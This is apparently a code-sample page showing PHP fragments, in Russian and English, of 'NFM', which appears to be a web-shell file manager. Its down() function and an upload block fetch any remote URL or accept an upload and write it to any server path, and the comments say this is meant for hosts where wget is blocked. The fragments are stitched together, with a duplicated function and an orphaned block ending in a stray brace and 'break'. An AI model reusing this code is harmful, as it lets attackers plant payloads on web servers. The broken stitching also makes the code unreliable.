Exemplo n.º 1
0
function down($dir)
{
    global $action, $status, $tm, $PHP_SELF, $HTTP_HOST, $file3, $file2;
    ignore_user_abort(1);
    set_time_limit(0);
    echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\r\n<tr><td align=center class=pagetitle><b>Загрузка файлов</b></font></b></td></tr>\r\n<tr><td bgcolor=#FFFFCC><br><blockquote>Частенько случается, что на серверах где установлен <b>NFM</b> не работает <b>wget</b>, а файл загрузить ой как хочется, таким образом с помощью простых функций вы сможете загрузить любой файл на свой хостинг в папку, где залит NFM либо другую какую вы выберете (см.<b>Путь</b>).( работает не на всех хостингах)</blockquote></td></tr>\r\n</table>";
    if (!isset($status)) {
        downfiles();
    } else {
        $data = @implode("", file($file3));
        $fp = @fopen($file2, "wb");
        @fputs($fp, $data);
        $ok = @fclose($fp);
        if ($ok) {
            $size = filesize($file2) / 1024;
            $sizef = sprintf("%.2f", $size);
            print "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>Вы загрузили: <b>файл <u>{$file2}</u> размером</b> (" . $sizef . "кБ) </font></center></td></tr></table>";
        } else {
            print "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0BAACC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2><b>Ошибка загрузки файла</b></font></center></td></tr></table>";
        }
    }
}
     $uploadfile = $_POST['path'] . $_FILES['file']['name'];
     if ($_POST['path'] == "") {
         $uploadfile = $_FILES['file']['name'];
     }
     if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
         echo "Файл успешно загружен в папку {$uploadfile}\n";
         echo "Имя:" . $_FILES['file']['name'] . "\n";
         echo "Размер:" . $_FILES['file']['size'] . "\n";
     } else {
         print "Не удаётся загрузить файл. Инфа:\n";
         print_r($_FILES);
     }
 }
 echo "<form enctype='multipart/form-data' action='?ac=upload&status=ok' method=post>\n<b>Загрузка файлов с удаленного компьютера:</b><br>\n HTTP путь к файлу: <br>\n<input type='text' name='file3' value='http://' size=40><br>\nНазвание файла или путь с названием файла: <br>\n<input type='text' name='file2' value='{$docr}/' size=40><br>\n<input type='submit' value='Загрузить файл'></form>";
 if (!isset($status)) {
     downfiles();
 } else {
     $data = @implode("", file($file3));
     $fp = @fopen($file2, "wb");
     @fputs($fp, $data);
     $ok = @fclose($fp);
     if ($ok) {
         $size = filesize($file2) / 1024;
         $sizef = sprintf("%.2f", $size);
         print "<br><center>Вы загрузили: <b>файл <u>{$file2}</u> размером</b> (" . $sizef . "кБ) </center>";
     } else {
         print "<br><center><font color=red  size = 2><b>Ошибка загрузки файла</b></font></center>";
     }
 }
 break;
 // Tools
function down($dir)
{
    global $action, $status, $tm, $PHP_SELF, $HTTP_HOST, $file3, $file2;
    ignore_user_abort(1);
    set_time_limit(0);
    echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=500 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white>\n\n<tr><td align=center class=pagetitle><b>File upload</b></font></b></td></tr>\n\n<tr><td bgcolor=#FFFFCC><br><blockquote>There are many cases, when host, where <b>NFM</b> is situated <b>WGET</b> is blocked. And you may need to upload files anyway. So here you can do it without wget, upload file to path where the NFM is, or to any path you enter (see<b>Path</b>).(this works not everywhere)</blockquote></td></tr>\n\n</table>";
    if (!isset($status)) {
        downfiles();
    } else {
        $data = @implode("", file($file3));
        $fp = @fopen($file2, "wb");
        @fputs($fp, $data);
        $ok = @fclose($fp);
        if ($ok) {
            $size = filesize($file2) / 1024;
            $sizef = sprintf("%.2f", $size);
            print "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0066CC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2>You have uploaded: <b>file <u>{$file2}</u> with size</b> (" . $sizef . "kb) </font></center></td></tr></table>";
        } else {
            print "<br><TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#0BAACC BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center><font color='#FFFFCC' face='Tahoma' size = 2><b>Error during file upload</b></font></center></td></tr></table>";
        }
    }
}